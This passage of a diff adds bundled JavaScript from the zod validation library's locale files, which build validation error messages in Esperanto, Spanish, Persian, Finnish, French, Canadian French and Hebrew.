cidrv6: "IPv6-rango", + base64: "64-ume kodita karaktraro", + base64url: "URL-64-ume kodita karaktraro", + json_string: "JSON-karaktraro", + e164: "E.164-nombro", + jwt: "JWT", + template_literal: "enigo" + }; + const TypeDictionary = { + nan: "NaN", + number: "nombro", + array: "tabelo", + null: "senvalora" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Nevalida enigo: atendi\u011Dis instanceof ${issue2.expected}, ricevi\u011Dis ${received}`; + } + return `Nevalida enigo: atendi\u011Dis ${expected}, ricevi\u011Dis ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Nevalida enigo: atendi\u011Dis ${stringifyPrimitive(issue2.values[0])}`; + return `Nevalida opcio: atendi\u011Dis unu el ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Tro granda: atendi\u011Dis ke ${issue2.origin ?? "valoro"} havu ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementojn"}`; + return `Tro granda: atendi\u011Dis ke ${issue2.origin ?? "valoro"} havu ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Tro malgranda: atendi\u011Dis ke ${issue2.origin} havu ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Tro malgranda: atendi\u011Dis ke ${issue2.origin} estu ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Nevalida karaktraro: devas komenci\u011Di per "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Nevalida karaktraro: devas fini\u011Di per "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Nevalida karaktraro: devas inkluzivi "${_issue.includes}"`; + if (_issue.format === "regex") + return `Nevalida karaktraro: devas kongrui kun la modelo ${_issue.pattern}`; + return `Nevalida ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Nevalida nombro: devas esti oblo de ${issue2.divisor}`; + case "unrecognized_keys": + return `Nekonata${issue2.keys.length > 1 ? "j" : ""} \u015Dlosilo${issue2.keys.length > 1 ? "j" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Nevalida \u015Dlosilo en ${issue2.origin}`; + case "invalid_union": + return "Nevalida enigo"; + case "invalid_element": + return `Nevalida valoro en ${issue2.origin}`; + default: + return `Nevalida enigo`; + } + }; +}; +function eo_default() { + return { + localeError: error11() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js +var error12 = () => { + const Sizable = { + string: { unit: "caracteres", verb: "tener" }, + file: { unit: "bytes", verb: "tener" }, + array: { unit: "elementos", verb: "tener" }, + set: { unit: "elementos", verb: "tener" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "entrada", + email: "direcci\xF3n de correo electr\xF3nico", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "fecha y hora ISO", + date: "fecha ISO", + time: "hora ISO", + duration: "duraci\xF3n ISO", + ipv4: "direcci\xF3n IPv4", + ipv6: "direcci\xF3n IPv6", + cidrv4: "rango IPv4", + cidrv6: "rango IPv6", + base64: "cadena codificada en base64", + base64url: "URL codificada en base64", + json_string: "cadena JSON", + e164: "n\xFAmero E.164", + jwt: "JWT", + template_literal: "entrada" + }; + const TypeDictionary = { + nan: "NaN", + string: "texto", + number: "n\xFAmero", + boolean: "booleano", + array: "arreglo", + object: "objeto", + set: "conjunto", + file: "archivo", + date: "fecha", + bigint: "n\xFAmero grande", + symbol: "s\xEDmbolo", + undefined: "indefinido", + null: "nulo", + function: "funci\xF3n", + map: "mapa", + record: "registro", + tuple: "tupla", + enum: "enumeraci\xF3n", + union: "uni\xF3n", + literal: "literal", + promise: "promesa", + void: "vac\xEDo", + never: "nunca", + unknown: "desconocido", + any: "cualquiera" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Entrada inv\xE1lida: se esperaba instanceof ${issue2.expected}, recibido ${received}`; + } + return `Entrada inv\xE1lida: se esperaba ${expected}, recibido ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: se esperaba ${stringifyPrimitive(issue2.values[0])}`; + return `Opci\xF3n inv\xE1lida: se esperaba una de ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + if (sizing) + return `Demasiado grande: se esperaba que ${origin ?? "valor"} tuviera ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: se esperaba que ${origin ?? "valor"} fuera ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + if (sizing) { + return `Demasiado peque\xF1o: se esperaba que ${origin} tuviera ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Demasiado peque\xF1o: se esperaba que ${origin} fuera ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Cadena inv\xE1lida: debe comenzar con "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Cadena inv\xE1lida: debe terminar en "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Cadena inv\xE1lida: debe incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Cadena inv\xE1lida: debe coincidir con el patr\xF3n ${_issue.pattern}`; + return `Inv\xE1lido ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: debe ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": + return `Llave${issue2.keys.length > 1 ? "s" : ""} desconocida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Llave inv\xE1lida en ${TypeDictionary[issue2.origin] ?? issue2.origin}`; + case "invalid_union": + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Valor inv\xE1lido en ${TypeDictionary[issue2.origin] ?? issue2.origin}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function es_default() { + return { + localeError: error12() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js +var error13 = () => { + const Sizable = { + string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0648\u0631\u0648\u062F\u06CC", + email: "\u0622\u062F\u0631\u0633 \u0627\u06CC\u0645\u06CC\u0644", + url: "URL", + emoji: "\u0627\u06CC\u0645\u0648\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u062A\u0627\u0631\u06CC\u062E \u0648 \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", + date: "\u062A\u0627\u0631\u06CC\u062E \u0627\u06CC\u0632\u0648", + time: "\u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", + duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", + ipv4: "IPv4 \u0622\u062F\u0631\u0633", + ipv6: "IPv6 \u0622\u062F\u0631\u0633", + cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", + cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", + base64: "base64-encoded \u0631\u0634\u062A\u0647", + base64url: "base64url-encoded \u0631\u0634\u062A\u0647", + json_string: "JSON \u0631\u0634\u062A\u0647", + e164: "E.164 \u0639\u062F\u062F", + jwt: "JWT", + template_literal: "\u0648\u0631\u0648\u062F\u06CC" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0639\u062F\u062F", + array: "\u0622\u0631\u0627\u06CC\u0647" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0648\u0631\u0648\u062F\u06CC \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0645\u06CC\u200C\u0628\u0627\u06CC\u0633\u062A instanceof ${issue2.expected} \u0645\u06CC\u200C\u0628\u0648\u062F\u060C ${received} \u062F\u0631\u06CC\u0627\u0641\u062A \u0634\u062F`; + } + return `\u0648\u0631\u0648\u062F\u06CC \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0645\u06CC\u200C\u0628\u0627\u06CC\u0633\u062A ${expected} \u0645\u06CC\u200C\u0628\u0648\u062F\u060C ${received} \u062F\u0631\u06CC\u0627\u0641\u062A \u0634\u062F`; + } + case "invalid_value": + if (issue2.values.length === 1) { + return `\u0648\u0631\u0648\u062F\u06CC \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0645\u06CC\u200C\u0628\u0627\u06CC\u0633\u062A ${stringifyPrimitive(issue2.values[0])} \u0645\u06CC\u200C\u0628\u0648\u062F`; + } + return `\u06AF\u0632\u06CC\u0646\u0647 \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0645\u06CC\u200C\u0628\u0627\u06CC\u0633\u062A \u06CC\u06A9\u06CC \u0627\u0632 ${joinValues(issue2.values, "|")} \u0645\u06CC\u200C\u0628\u0648\u062F`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u062E\u06CC\u0644\u06CC \u0628\u0632\u0631\u06AF: ${issue2.origin ?? "\u0645\u0642\u062F\u0627\u0631"} \u0628\u0627\u06CC\u062F ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0639\u0646\u0635\u0631"} \u0628\u0627\u0634\u062F`; + } + return `\u062E\u06CC\u0644\u06CC \u0628\u0632\u0631\u06AF: ${issue2.origin ?? "\u0645\u0642\u062F\u0627\u0631"} \u0628\u0627\u06CC\u062F ${adj}${issue2.maximum.toString()} \u0628\u0627\u0634\u062F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u062E\u06CC\u0644\u06CC \u06A9\u0648\u0686\u06A9: ${issue2.origin} \u0628\u0627\u06CC\u062F ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0628\u0627\u0634\u062F`; + } + return `\u062E\u06CC\u0644\u06CC \u06A9\u0648\u0686\u06A9: ${issue2.origin} \u0628\u0627\u06CC\u062F ${adj}${issue2.minimum.toString()} \u0628\u0627\u0634\u062F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0631\u0634\u062A\u0647 \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0628\u0627\u06CC\u062F \u0628\u0627 "${_issue.prefix}" \u0634\u0631\u0648\u0639 \u0634\u0648\u062F`; + } + if (_issue.format === "ends_with") { + return `\u0631\u0634\u062A\u0647 \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0628\u0627\u06CC\u062F \u0628\u0627 "${_issue.suffix}" \u062A\u0645\u0627\u0645 \u0634\u0648\u062F`; + } + if (_issue.format === "includes") { + return `\u0631\u0634\u062A\u0647 \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0628\u0627\u06CC\u062F \u0634\u0627\u0645\u0644 "${_issue.includes}" \u0628\u0627\u0634\u062F`; + } + if (_issue.format === "regex") { + return `\u0631\u0634\u062A\u0647 \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0628\u0627\u06CC\u062F \u0628\u0627 \u0627\u0644\u06AF\u0648\u06CC ${_issue.pattern} \u0645\u0637\u0627\u0628\u0642\u062A \u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F`; + } + return `${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u0645\u0639\u062A\u0628\u0631`; + } + case "not_multiple_of": + return `\u0639\u062F\u062F \u0646\u0627\u0645\u0639\u062A\u0628\u0631: \u0628\u0627\u06CC\u062F \u0645\u0636\u0631\u0628 ${issue2.divisor} \u0628\u0627\u0634\u062F`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u062F${issue2.keys.length > 1 ? "\u0647\u0627\u06CC" : ""} \u0646\u0627\u0634\u0646\u0627\u0633: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u062F \u0646\u0627\u0634\u0646\u0627\u0633 \u062F\u0631 ${issue2.origin}`; + case "invalid_union": + return `\u0648\u0631\u0648\u062F\u06CC \u0646\u0627\u0645\u0639\u062A\u0628\u0631`; + case "invalid_element": + return `\u0645\u0642\u062F\u0627\u0631 \u0646\u0627\u0645\u0639\u062A\u0628\u0631 \u062F\u0631 ${issue2.origin}`; + default: + return `\u0648\u0631\u0648\u062F\u06CC \u0646\u0627\u0645\u0639\u062A\u0628\u0631`; + } + }; +}; +function fa_default() { + return { + localeError: error13() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js +var error14 = () => { + const Sizable = { + string: { unit: "merkki\xE4", subject: "merkkijonon" }, + file: { unit: "tavua", subject: "tiedoston" }, + array: { unit: "alkiota", subject: "listan" }, + set: { unit: "alkiota", subject: "joukon" }, + number: { unit: "", subject: "luvun" }, + bigint: { unit: "", subject: "suuren kokonaisluvun" }, + int: { unit: "", subject: "kokonaisluvun" }, + date: { unit: "", subject: "p\xE4iv\xE4m\xE4\xE4r\xE4n" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "s\xE4\xE4nn\xF6llinen lauseke", + email: "s\xE4hk\xF6postiosoite", + url: "URL-osoite", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO-aikaleima", + date: "ISO-p\xE4iv\xE4m\xE4\xE4r\xE4", + time: "ISO-aika", + duration: "ISO-kesto", + ipv4: "IPv4-osoite", + ipv6: "IPv6-osoite", + cidrv4: "IPv4-alue", + cidrv6: "IPv6-alue", + base64: "base64-koodattu merkkijono", + base64url: "base64url-koodattu merkkijono", + json_string: "JSON-merkkijono", + e164: "E.164-luku", + jwt: "JWT", + template_literal: "templaattimerkkijono" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Virheellinen tyyppi: odotettiin instanceof ${issue2.expected}, oli ${received}`; + } + return `Virheellinen tyyppi: odotettiin ${expected}, oli ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Virheellinen sy\xF6te: t\xE4ytyy olla ${stringifyPrimitive(issue2.values[0])}`; + return `Virheellinen valinta: t\xE4ytyy olla yksi seuraavista: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Liian suuri: ${sizing.subject} t\xE4ytyy olla ${adj}${issue2.maximum.toString()} ${sizing.unit}`.trim(); + } + return `Liian suuri: arvon t\xE4ytyy olla ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Liian pieni: ${sizing.subject} t\xE4ytyy olla ${adj}${issue2.minimum.toString()} ${sizing.unit}`.trim(); + } + return `Liian pieni: arvon t\xE4ytyy olla ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Virheellinen sy\xF6te: t\xE4ytyy alkaa "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Virheellinen sy\xF6te: t\xE4ytyy loppua "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Virheellinen sy\xF6te: t\xE4ytyy sis\xE4lt\xE4\xE4 "${_issue.includes}"`; + if (_issue.format === "regex") { + return `Virheellinen sy\xF6te: t\xE4ytyy vastata s\xE4\xE4nn\xF6llist\xE4 lauseketta ${_issue.pattern}`; + } + return `Virheellinen ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Virheellinen luku: t\xE4ytyy olla luvun ${issue2.divisor} monikerta`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Tuntemattomat avaimet" : "Tuntematon avain"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return "Virheellinen avain tietueessa"; + case "invalid_union": + return "Virheellinen unioni"; + case "invalid_element": + return "Virheellinen arvo joukossa"; + default: + return `Virheellinen sy\xF6te`; + } + }; +}; +function fi_default() { + return { + localeError: error14() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js +var error15 = () => { + const Sizable = { + string: { unit: "caract\xE8res", verb: "avoir" }, + file: { unit: "octets", verb: "avoir" }, + array: { unit: "\xE9l\xE9ments", verb: "avoir" }, + set: { unit: "\xE9l\xE9ments", verb: "avoir" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "entr\xE9e", + email: "adresse e-mail", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "date et heure ISO", + date: "date ISO", + time: "heure ISO", + duration: "dur\xE9e ISO", + ipv4: "adresse IPv4", + ipv6: "adresse IPv6", + cidrv4: "plage IPv4", + cidrv6: "plage IPv6", + base64: "cha\xEEne encod\xE9e en base64", + base64url: "cha\xEEne encod\xE9e en base64url", + json_string: "cha\xEEne JSON", + e164: "num\xE9ro E.164", + jwt: "JWT", + template_literal: "entr\xE9e" + }; + const TypeDictionary = { + string: "cha\xEEne", + number: "nombre", + int: "entier", + boolean: "bool\xE9en", + bigint: "grand entier", + symbol: "symbole", + undefined: "ind\xE9fini", + null: "null", + never: "jamais", + void: "vide", + date: "date", + array: "tableau", + object: "objet", + tuple: "tuple", + record: "enregistrement", + map: "carte", + set: "ensemble", + file: "fichier", + nonoptional: "non-optionnel", + nan: "NaN", + function: "fonction" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + } + return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entr\xE9e invalide : ${stringifyPrimitive(issue2.values[0])} attendu`; + return `Option invalide : une valeur parmi ${joinValues(issue2.values, "|")} attendue`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Trop grand : ${TypeDictionary[issue2.origin] ?? "valeur"} doit ${sizing.verb} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\xE9l\xE9ment(s)"}`; + return `Trop grand : ${TypeDictionary[issue2.origin] ?? "valeur"} doit \xEAtre ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Trop petit : ${TypeDictionary[issue2.origin] ?? "valeur"} doit ${sizing.verb} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Trop petit : ${TypeDictionary[issue2.origin] ?? "valeur"} doit \xEAtre ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + if (_issue.format === "regex") + return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; + } + case "not_multiple_of": + return `Nombre invalide : doit \xEAtre un multiple de ${issue2.divisor}`; + case "unrecognized_keys": + return `Cl\xE9${issue2.keys.length > 1 ? "s" : ""} non reconnue${issue2.keys.length > 1 ? "s" : ""} : ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Cl\xE9 invalide dans ${issue2.origin}`; + case "invalid_union": + return "Entr\xE9e invalide"; + case "invalid_element": + return `Valeur invalide dans ${issue2.origin}`; + default: + return `Entr\xE9e invalide`; + } + }; +}; +function fr_default() { + return { + localeError: error15() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js +var error16 = () => { + const Sizable = { + string: { unit: "caract\xE8res", verb: "avoir" }, + file: { unit: "octets", verb: "avoir" }, + array: { unit: "\xE9l\xE9ments", verb: "avoir" }, + set: { unit: "\xE9l\xE9ments", verb: "avoir" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "entr\xE9e", + email: "adresse courriel", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "date-heure ISO", + date: "date ISO", + time: "heure ISO", + duration: "dur\xE9e ISO", + ipv4: "adresse IPv4", + ipv6: "adresse IPv6", + cidrv4: "plage IPv4", + cidrv6: "plage IPv6", + base64: "cha\xEEne encod\xE9e en base64", + base64url: "cha\xEEne encod\xE9e en base64url", + json_string: "cha\xEEne JSON", + e164: "num\xE9ro E.164", + jwt: "JWT", + template_literal: "entr\xE9e" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Entr\xE9e invalide : attendu instanceof ${issue2.expected}, re\xE7u ${received}`; + } + return `Entr\xE9e invalide : attendu ${expected}, re\xE7u ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entr\xE9e invalide : attendu ${stringifyPrimitive(issue2.values[0])}`; + return `Option invalide : attendu l'une des valeurs suivantes ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "\u2264" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Trop grand : attendu que ${issue2.origin ?? "la valeur"} ait ${adj}${issue2.maximum.toString()} ${sizing.unit}`; + return `Trop grand : attendu que ${issue2.origin ?? "la valeur"} soit ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? "\u2265" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Trop petit : attendu que ${issue2.origin} ait ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Trop petit : attendu que ${issue2.origin} soit ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + if (_issue.format === "regex") + return `Cha\xEEne invalide : doit correspondre au motif ${_issue.pattern}`; + return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; + } + case "not_multiple_of": + return `Nombre invalide : doit \xEAtre un multiple de ${issue2.divisor}`; + case "unrecognized_keys": + return `Cl\xE9${issue2.keys.length > 1 ? "s" : ""} non reconnue${issue2.keys.length > 1 ? "s" : ""} : ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Cl\xE9 invalide dans ${issue2.origin}`; + case "invalid_union": + return "Entr\xE9e invalide"; + case "invalid_element": + return `Valeur invalide dans ${issue2.origin}`; + default: + return `Entr\xE9e invalide`; + } + }; +}; +function fr_CA_default() { + return { + localeError: error16() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js +var error17 = () => { + const TypeNames = { + string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, + number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, + boolean: { label: "\u05E2\u05E8\u05DA \u05D1\u05D5\u05DC\u05D9\u05D0\u05E0\u05D9", gender: "m" }, + bigint: { label: "BigInt", gender: "m" }, + date: { label: "\u05EA\u05D0\u05E8\u05D9\u05DA", gender: "m" }, + array: { label: "\u05DE\u05E2\u05E8\u05DA", gender: "m" }, + object: { label: "\u05D0\u05D5\u05D1\u05D9\u05D9\u05E7\u05D8", gender: "m" }, + null: { label: "\u05E2\u05E8\u05DA \u05E8\u05D9\u05E7 (null)", gender: "m" }, + undefined: { label: "\u05E2\u05E8\u05DA \u05DC\u05D0 \u05DE\u05D5\u05D2\u05D3\u05E8 (undefined)", gender: "m" }, + symbol: { label: "\u05E1\u05D9\u05DE\u05D1\u05D5\u05DC (Symbol)", gender: "m" }, + function: { label: "\u05E4\u05D5\u05E0\u05E7\u05E6\u05D9\u05D4", gender: "f" }, + map: { label: "\u05DE\u05E4\u05D4 (Map)", gender: "f" }, + set: { label: "\u05E7\u05D1\u05D5\u05E6\u05D4 (Set)", gender: "f" }, + file: { label: "\u05E7\u05D5\u05D1\u05E5", gender: "m" }, + promise: { label: "Promise", gender: "m" }, + NaN: { label: "NaN", gender: "m" }, + unknown: { label: "\u05E2\u05E8\u05DA \u05DC\u05D0 \u05D9\u05D3\u05D5\u05E2", gender: "m" }, + value: { label: "\u05E2\u05E8\u05DA", gender: "m" } + }; + const Sizable = { + string: { unit: "\u05EA\u05D5\u05D5\u05D9\u05DD", shortLabel: "\u05E7\u05E6\u05E8", longLabel: "\u05D0\u05E8\u05D5\u05DA" }, + file: { unit: "\u05D1\u05D9\u05D9\u05D8\u05D9\u05DD", shortLabel: "\u05E7\u05D8\u05DF", longLabel: "\u05D2\u05D3\u05D5\u05DC" }, + array: { unit: "\u05E4\u05E8\u05D9\u05D8\u05D9\u05DD", shortLabel: "\u05E7\u05D8\u05DF", longLabel: "\u05D2\u05D3\u05D5\u05DC" }, + set: { unit: "\u05E4\u05E8\u05D9\u05D8\u05D9\u05DD", shortLabel: "\u05E7\u05D8\u05DF", longLabel: "\u05D2\u05D3\u05D5\u05DC" }, + number: { unit: "", shortLabel: "\u05E7\u05D8\u05DF", longLabel: "\u05D2\u05D3\u05D5\u05DC" } + // no unit + }; + const typeEntry = (t) => t ? TypeNames[t] : void 0; + const typeLabel = (t) => { + const e = typeEntry(t); + if (e) + return e.label; + return t ?? TypeNames.unknown.label; + }; + const withDefinite = (t) => `\u05D4${typeLabel(t)}`; + const verbFor = (t) => { + const e = typeEntry(t); + const gender = e?.gender ?? "m"; + return gender === "f" ? "\u05E6\u05E8\u05D9\u05DB\u05D4 \u05DC\u05D4\u05D9\u05D5\u05EA" : "\u05E6\u05E8\u05D9\u05DA \u05DC\u05D4\u05D9\u05D5\u05EA"; + }; + const getSizing = (origin) => { + if (!origin) + return null; + return Sizable[origin] ?? null; + }; + const FormatDictionary = { + regex: { label: "\u05E7\u05DC\u05D8", gender: "m" }, + email: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05D0\u05D9\u05DE\u05D9\u05D9\u05DC", gender: "f" }, + url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, + emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, + uuid: { label: "UUID", gender: "m" }, + nanoid: { 